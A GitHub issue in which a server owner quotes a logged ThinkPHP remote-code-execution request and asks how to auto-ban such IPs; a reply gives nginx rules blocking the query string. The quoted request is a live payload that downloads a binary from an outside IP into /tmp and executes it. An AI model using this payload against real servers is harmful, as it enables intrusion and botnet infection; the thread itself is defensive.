Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

scrips crawling my servers #187

Open
mincaeuro opened this issue Jan 23, 2019 · 1 comment
Open

scrips crawling my servers #187

mincaeuro opened this issue Jan 23, 2019 · 1 comment

Comments

@mincaeuro
Copy link

Hi,

was wondering if you have experience with such requests:

/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://185.244.25.221/bins/Yowai.x86 -O /tmp/Yowai; chmod 777 /tmp/Yowai; /tmp/Yowai Yowai.x86'

  • is it possible to "auto-ban" such IPs ?
@Zasimovich
Copy link

Zasimovich commented Aug 2, 2019

You can reject this attack by nginx rules:

location / {
if ($http_user_agent ~ (tsunami) ) {
return 403;
}
if ($query_string ~ "call_user_func_array" ) {
return 403;
}
...
}

Link https://serverfault.com/questions/957075/block-remote-code-execution-ubuntu-server-fail2ban-cloudflare

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants